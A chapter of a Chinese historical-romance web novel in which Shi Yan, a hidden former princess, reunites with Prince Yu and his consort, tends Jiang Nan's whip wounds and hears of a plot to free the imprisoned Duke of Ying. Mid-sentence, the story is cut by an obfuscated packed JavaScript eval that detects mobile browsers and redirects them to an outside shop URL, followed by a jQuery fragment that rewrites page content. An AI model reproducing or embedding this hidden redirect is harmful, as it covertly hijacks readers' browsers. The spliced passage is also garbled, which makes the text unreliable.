次日早晨,江南早早来了客栈,石焉已经在为祖父收拾细软,她换了一身牵牛紫的布裙,对襟是稍浅的藕合。她不喜罗纱,纵使时天下贵族女子皆以穿纱为兴,九顷水帮也多次运送名贵纱料入杭,可石焉总是把弟子送上来的,又作为画舫游船中的彩头送出去,“我常常出外行医,纱衣多有不便,百姓见了也会觉得是在显现宝异。”她总是这样讲。布衣又何妨,手持未染彩,绣为白芙蓉。
“江南公子,这些是祖父这几日或许会用到的东西,烦请你帮我转交。”
“放心吧。我朋友马上就派人来接石帮主了,你之前说担心央月教身份,不如先到外头回避?”
“嗯,好。”
石焉离开客栈,躲入一旁的巷道。不久就看见一辆马车停至客栈门前,下来一位年轻男子,车架遮挡,石焉看不清面目,只看那人身穿黑色常服,足蹬长靴,腰束阁带,钩挂玉佩,非富即贵。他与江南交谈几句,两人把石难黎背入马车,一并走了。
石焉在街上随意走着,她心中思索,其实江南第一次说到自己在京中的朋友之时,她就想到自己在此也有一位显贵旧识,而当初答应跟随江南前来金陵,是否也因为自己抱有一丝私心希望,希望这位旧识仁始如终,可堪一托。
如若前去拜访,万一江南那头无法可治,自己兴许能为爷爷再多觅一条路。可她心里实是一点底都没有,七年过去,自己已成百姓之身,对方仍是五侯七贵,他是否愿意一见也未可知。
且尽力一试吧。
屿王府位于金陵城北,石焉提裙走上石阶,道,“民女求见屿王殿下。”
可两个守卫好像根本没有去通报的意思,她只好再次道,“民女有要事求见屿王殿下,不知两位大人可否代为通传,这是民女手书,殿下一看字迹便知。”她正打算从腰间取出一纸书信。
“郡…”一个男声戛然而止。
石焉抬头看去,一位年轻男子,立于高高的门槛后,讶异地看着自己。
“顾大人。”她欣慰一笑,道。
“殿下要是知道你还平安活着,肯定高兴坏了。”顾念怀在前面引路,他带着石焉往后院走。
“顾大人,你今日早些时候,可曾去过归留园?”石焉却问。
顾念怀停住脚步,回过头来。
“大人现在虽然穿了官服,但腰间玉佩未换。”石焉淡淡一笑。
“哦,看来郡主就是江南所说的那位施药于他的恩人。”顾念怀继续道,“你放心,石帮主已在客房歇下,殿下着人请了孙太医,正在来的路上。”
“多谢殿下,也多谢顾大人。”
顾念怀心中有些说不出的滋味,眼前这位曾高高在上的郡主,现在竟称呼自己为“大人”,他一时不知如何开口,只道,“殿下有公务在身,一大早便入宫去了。我先带郡主去王妃处。”
绕过淡湖,假山之后便是王妃居所。一位贵妇头戴彩冠,身披华裳,坐于窗前。
比起幼时家道坎坷,现在的一袭金装才正该配她。石焉再见到祝之笺的第一面,就这样觉得。
“参见王妃。”石焉上前行礼。
祝之笺眼中是不敢相信的神色,“妙常?”她几乎瞬间就要落下泪来。
“王妃,属下先进宫去禀报殿下。”顾念怀告退后,祝之笺把石焉带入内室,两人一同坐在榻上,她这才细细打量起来。
滇南王妃是苗桃疆女,沈妙常却更像中原女子多些。非母亲那般大眼,却更见婉转盛情,美目盼兮,然鼻若琼瑶直起天庭,又十足十传了母亲美貌之灵粹,莺唇映花,齿若含贝,颈如蝤蛴。虽远荡七年,但顾盼生姿犹胜旧时,自是天生丽质难自弃。
“妙常,你这些年都在哪里?滇南王出事后,我们都很担心你,我找了你许久,可总是了无音讯。我几乎都快放弃…可…看到你如今还在世,我真不知要说些什么才好…”
“之笺,”石焉见其亲切如幼时,也不再执拗于一时的身份有别,轻轻拉住她的手说道,“你知道吗,今日府上带回来的石帮主,就是当年救下我的人,我已认他做祖父。现在我化名石焉,便是爷爷所取。”
“什么?”
“此事说来话长,往后我再慢慢告知你。”石焉拂去祝之笺脸上的泪水,道,“我当年听闻皇上赐亲你与兄长,真为你们开心。这些年我虽然在外面,但关于屿王府的传言也听了不少,百姓都说屿王殿下一心一意,大婚三年,不纳一妾,唯对王妃钟情至深。今日见到姐姐一个院落便占据府地一半,足可知兄长对姐姐用情用心。”
“殿下对我的确很好,只是我三年仍然无子…”她提到此处有些黯然。
“之笺,你忘了我母亲是做什么的,我这次既然来了,定帮你开好药方,尽力助你心想事成。”石焉握紧她的手。
“那么你呢?你未完成的心愿是什么?”祝之笺的眼神中满是疼惜。
“我想,治好养我多年的爷爷,想查清父亲的死因,想改变央月教的残忍祭礼,想世间不再平白起战争,想看到南唐迎来一位明君。”
祝之笺没有去捂石焉的嘴,她只沉声道,“殿下能帮你。”
五个字的声音很轻,但石焉能感到话里的磅礴深意,也能感到现下的隐忍与克制。她很小就知道兄长的抱负,也钦佩兄长的才智,只是当年父亲的死,让她对兄长的心,却突然有些看不透了。
“王爷冤屈,竟无一人求情。”
她耳边一直记得关于父亲的最后一句消息。
说了半晌话,侍女来报孙太医到了,两人便一同到了客房。孙太医正在为石难黎诊治,他愁眉不展,半晌才道,“体内□□,隐而不发,仅从外症来看,此毒致人首末两端僵硬蜷曲,若想缓解,最好每日按摩,针砭痛处。但若想完全康复,还是需要找到毒源,以及解药,否则再无灵活行动之希望。”
其实和石焉预料的差不多,但她心里还是沉了一下。
送走太医后,石焉主动说道,“没事,金陵治不了,不代表徒太山也治不了,我送爷爷去找肖神医,他定有法子。”
“你肩不能扛如何送得?我派人送他去。”年轻的男声在身后响起,石焉转过身去。
屿王回来了。
“殿下。”祝之笺迎了上去,“小顾都告诉你了?”
“嗯。”屿王顺势握住祝之笺的手,又转向石焉道,“妙常,这些年你想隐瞒世人那是应当,但也该悄悄来给兄长报个信,这么久,我和之笺的心就没有放下来过。”
骤见故人,石焉有些手足无措。兄长已经从宫城里最小的皇幼子长成了顶天立地的男儿,发束高冠,腰佩贵玉,他已不用再像幼时伪装顽皮,眉宇间尽现志向高远、雄心勃勃,只是行事稳重之下,仍难掩年轻面庞上的少年风发意气。
“参见殿下。”
“哎,看来真是疏远了。念怀来报时说郡主对他一口一个顾大人,我还说妙常对我绝不会如此呢。”屿王玩笑着上前扶起她,道,“你从小不会骑马,如何送石帮主去徒太山?你放心,我已派亲卫侍从,即刻便驾车送石老前去。”
“多谢殿…兄长,只是我与徒太山肖神医有些渊源,我想亲自陪爷爷前去。”
“你跟去,若路上央月的人找来,大家可还要保护你?只会给石老带去更多危险。且你跟在车队里,难免引人注意,若叫太子察觉则更糟,还是继续匿迹的好。”
“妙常,殿下说的在理,你并不会武功,石帮主也经不起再三折腾,你留在王府,才是最为他打算的啊。”祝之笺也开口道,“我知道你担心什么,我派府上的医女随同一起上路,每日按太医所说,为石帮主针砭,这下放心了吧。”
石焉心知央月二使的目的只在自己,并不会滥杀作恶,若自己不在,二人决计不会为难爷爷。当下便也答应了。
收拾好行囊后,石焉把爷爷送去门口,石难黎虽行动不便,但神情自若,毫无惧色,他道,“放心焉儿,爷爷答应你的事,一定做到。”
暮色渐起,已是傍晚时分,用膳时屿王挥退了仆从,大家坐于一桌,三个人竟一同流下泪来,便都埋头吃饭,又偷偷擦拭,祝之笺悄悄抬头,见另两人也是如此,“噗嗤”一声笑出来,三人面面相觑,又一同笑起来。
再吃几口,石焉感到颈中一阵跃动,而不过多久——
“殿下。”
顾念怀出现在门口,他的身后还站了一个男子,两人是一样的打扮,黑色官服,腰扎蹀躞,足蹬长靴。
顾念怀行过礼后侧开一步,让出身后之人,正是江南。
石焉突然感觉“哄”的一下脑袋作响。
周围的景物似乎全部急剧倒退起来,玉盘珍馐消逝,琼脂佳酿散去,连小顾和兄长也离开了,她耳边阵风吹过,带起一阵湖水的荷香,裙铃轻脆作响,她透过七年前的眼睛,看到了面前的人。
原来,是你。
何以自己在雨夜的山洞中会觉得他面熟,何以他说在金陵有一位神通广大的朋友,何以七年前他出现在宫中却能一直隐身暗处,何以他和顾念怀会束同样的蹀躞带。你是兄长的暗卫?还是府中的刺客呢。
对面的江南却十分震惊,他不知道石焉这会儿怎么会出现王府。两个人正对视间,屿王咳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253647|197975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一声,道,“念怀,江南,来坐下一起吃饭。”
桌上顿时变得有些拥挤起来,气氛一时也有些局促,几个人各有心事,唯祝之笺不明所以,一心沉醉在沈妙常还活着的喜讯中,不停给她碟中兼菜。好在一顿饭的功夫不长,很快也就结束了。
饭局上一团和气,众人都说着无关痛痒的吉祥言语,饭毕后江南回到房中,他褪去上衣,感觉背上又火辣辣疼了起来,遂拿出金创药,背对着镜子给自己上药。突然听见有人的声音出现在屋外,他起身隐于门后,声音渐渐走近,大门忽地被推开,来人是屿王。
沈谛祝猛地看见赤着上身的江南一愣,又看见身后矮桌上放着的金创药,他绕到江南身后,果见一片斑斑鞭痕。
“她又打你了?”
“是。”江南关上门,拿起药盒准备继续,却一把被沈谛祝夺过。
“府上医官随石老一道去了,现在天色又晚,请大夫不便。我叫妙常来给你看看,她小时候的医术就在军中远近闻名了。念怀!”沈谛祝唤道。
“别,殿下,男女有别,我上些药就行了…”江南顿时有些慌乱,他拿起衣服就要穿上。
“本殿在这,又没让你们孤男寡女独处,有什么不便的。”沈谛祝按住他的手,顾念怀也应声前来,开门就看到两人略有争执的姿势,沈谛祝也不撒手,只继续说,“去把妙常叫来,给江南治伤。”
“…是。”
石焉随顾念怀来到此间,见江南满背鞭痕,心下不忍。她从小随母亲为百姓义诊之余,也曾在滇南军中为伤兵行力所能及之事,各类枪剑损伤她自小就见得多了,可越是见得多,不仅没有习惯漠然,反越觉得心痛可怜,越能体会底层人的诸多苦难,便更加立志要尽自己绵薄医力,救人,医命。
她轻轻用烈酒淬过的长针清理去脓血,又以干净棉布擦拭,再更换敷料,涂抹上自己带来的凉玉膏,一切完毕,江南的确觉得疼痛减轻了许多。
“劳烦顾大人差人将这些药煎了,口服之后会好的快些。”石焉这次离杭所带药材并不多,此刻更是将能用上的大半都拿了出来。
“多亏妙常,七日后江南还要替我办件大事,他的战力可不能受影响。”屿王道。
“殿下,这点伤本是家常便饭,定不会误了那件事。”
“家常便饭?”石焉问道,“是谁总是这样打你?”
“他师父,有些疯病。”屿王提到这里,冷着脸道。
石焉一时不知说些什么,师父往往爱徒如子,可江南的师父却对他如此狠毒。她回想这几日他一再受伤,却还连续做事,又对伤病不发一言。石焉开始以为他是在隐忍,可如今看来,他似乎是习以为常,甚至并不觉得自己遭受这些罪过是有何需要隐忍的辛苦难事。
她心里同情之心更盛,遂问道,“那兄长所说的七日后之事,可凶险?可方便说与我听?”
“这里怕隔墙有耳,去我的密室。”屿王唇边露出一抹不易察觉的笑意,让江南趴下休息,自己则带石焉去了书房内的暗室。
密室空旷,而四周的墙上磊满了武器和卷轴,看来屿王的确为皇位,一直在打算筹谋。他也并未打算瞒着自己这一点。
他阖上密室门才道:“是英国公,他见罪于太子,上个月入了大狱,父皇亲自下令,列了死罪,七日后移交大理寺处置。”屿王握紧了拳头,继续道,“英国公是我的人,他手里本无实权,可父皇还要如此偏帮太子,无非是为了打压我。许是我这半年有些太过风光…”
“英国公?!”石焉又惊又不敢信,英国公是先帝时封的,他在朝中尊位数一数二,而其外甥女是屿王生母为婢时服侍过的皇帝妃子,后者无子,去世后他便一向偏帮屿王些,屿王幼时的老师也是由英国公举荐。只是皇帝一向在意声名,就算斩除异党也必是辛密为之,如此公开处决重臣,还是头一回。
“父皇已年近五十,他这是在为太子铺路。”屿王的神色变得狠戾起来,“我的几位哥哥里,除了我,几乎无人对太子有任何忤逆,大家都默认他是未来的天子。二哥庸碌,三哥身弱,六哥虽有意君位,但他心惧太子,只能望权心叹。这半年来许多事我都与太子意见相左,父皇自然要在自己崩逝之前,替太子把我的人都一一拔除了。此次太子提出罚英国公死罪,对父皇来说并没什么为难,但对我却影响重大,英国公若死,以后谁还会尽心为我?我是势必要救他的。”
石焉听他口口声声涉及对皇帝大不敬之语,便心知这些年他对皇帝和太子的诸多行径已是不满至极。“兄长打算怎么做?”她问道。
“劫人。”